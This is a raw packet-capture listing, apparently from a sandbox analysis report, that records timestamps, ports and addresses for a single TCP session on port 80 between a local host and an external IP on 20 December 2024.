Dec 20, 2024 17:10:04.545243025 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.545325041 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.545366049 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.546323061 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.546452999 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.546669006 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.546762943 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.547534943 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.547580004 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.547683001 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.547728062 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.548873901 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.548888922 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.548918009 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.548938036 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.549935102 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.550081015 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.550127983 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.551160097 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.551318884 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.551361084 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.552438021 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.552486897 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.553262949 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.553339005 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.554224014 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.554236889 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.554266930 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.554292917 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.554903030 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.554917097 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.554956913 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.556128979 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.556181908 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.556355000 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.556404114 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.557214975 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.557259083 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.557291985 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.557317972 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.558557034 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.558573008 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.558609009 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.558634996 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.559576988 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.559690952 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.559734106 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.559773922 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.560740948 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.560791016 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.561192989 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.561244011 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.561914921 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.562098026 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.562150002 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.563364029 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.563910961 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.563958883 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.564383984 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.564786911 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.564986944 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.565025091 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.565640926 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.565684080 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.565753937 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.566137075 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.567209005 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.567223072 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.567269087 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.568108082 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.568156004 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.568991899 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.569169044 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.569190025 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.569204092 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.569231987 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.569247961 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.570506096 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.570576906 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.570641041 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.571549892 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.571691036 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.572623968 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.572678089 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.572779894 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.572819948 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.572834015 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.572890997 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.573928118 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.574841022 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.574891090 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.575361013 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.575375080 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.575489044 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.576893091 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.576906919 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.576937914 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.576955080 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.577472925 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.577804089 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.577852964 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.578797102 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.579360962 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.579364061 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.579551935 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.579888105 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.579926968 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.706617117 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.706729889 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.706743956 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.706747055 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.706871986 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.706882954 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.706923008 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.707917929 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.707931042 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.708004951 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.708004951 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.709270954 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.709285975 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.709786892 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.709786892 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.709950924 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.709994078 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.710145950 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.710186005 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.711241961 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.711333990 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.712032080 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.712158918 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.712420940 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.712434053 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.712491989 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.712505102 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.713845015 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.713859081 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.713901043 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.715034962 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.715058088 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.715106964 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.716857910 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.716905117 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.717161894 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.717261076 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.717338085 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.717350960 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.717417002 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.718334913 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.718558073 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.719125032 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.719247103 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.719424963 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.719439983 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.719485044 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.720643044 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.720854998 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.721472979 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.721517086 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.722376108 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.722417116 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.722666979 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.722709894 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.723076105 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.723114967 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.723349094 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.723407984 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.724404097 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.724416971 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.724471092 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.724471092 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.725428104 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.725534916 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.726049900 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.726130962 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.726787090 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.727049112 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.727123976 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.727178097 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.727865934 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.727907896 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.728313923 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.728425026 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.729166031 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.729231119 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.729233027 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.729273081 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.730170965 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.730261087 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.730448008 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.730494976 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.731375933 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.731559992 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.732338905 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.732381105 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.732547045 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.732589006 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.732628107 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.732688904 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.733788013 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.733867884 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.734390974 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.734534025 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.734985113 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.735155106 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.735191107 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.735217094 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.736421108 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.736434937 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.736476898 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.737358093 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.737534046 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.738269091 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.738315105 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.738763094 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.738806009 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.738837957 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.738893986 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.739769936 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.740272045 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.740291119 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.740331888 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.740905046 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.741065025 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.741688013 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.741801023 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.742129087 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.742142916 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.742216110 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.743275881 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.743333101 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.743451118 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.743500948 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.744504929 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.744648933 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.745744944 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.745759964 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.745793104 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.745810032 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.745980024 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.746047974 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.747025967 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.747037888 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.747143030 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.748135090 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.748184919 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.748318911 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.748459101 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.749255896 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.749286890 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.749306917 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.749341011 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.750469923 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.750547886 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.750663042 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.751051903 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.751713037 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.751727104 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.751766920 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.751795053 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.752968073 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.753016949 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.753029108 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.753107071 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.754045963 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.754215956 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.754235983 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.754304886 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.755212069 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.755275011 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.756030083 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.756417990 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.756462097 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.756613016 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.756831884 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.757690907 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.757730961 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.758732080 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.758826017 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.758833885 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.758873940 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.759649038 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.759697914 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.759996891 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.760010004 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.760050058 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.761193991 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.761285067 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.761792898 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.761837006 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.762352943 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.762545109 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.762574911 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.762758017 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.763617992 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.763632059 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.763670921 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.763670921 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.764801025 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.764863014 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.765465021 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.765516043 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.765937090 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.766052008 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.766072035 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.766117096 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.767276049 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.767343044 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.767649889 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.767874002 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.768341064 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.768646002 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.769435883 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.769489050 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.928611040 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.929138899 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.929227114 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.929351091 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.929373026 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.930396080 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.930464983 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.930536032 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.931379080 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.931557894 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.931596041 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.931644917 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.933253050 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.933290005 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.933337927 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.933825970 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.934493065 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.934540033 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.935399055 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.935439110 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.935492039 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.936638117 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.937347889 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:04.937349081 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.937686920 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.937699080 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:04.937731028 CET	49935	80	192.168.2.7	185.156.73.23
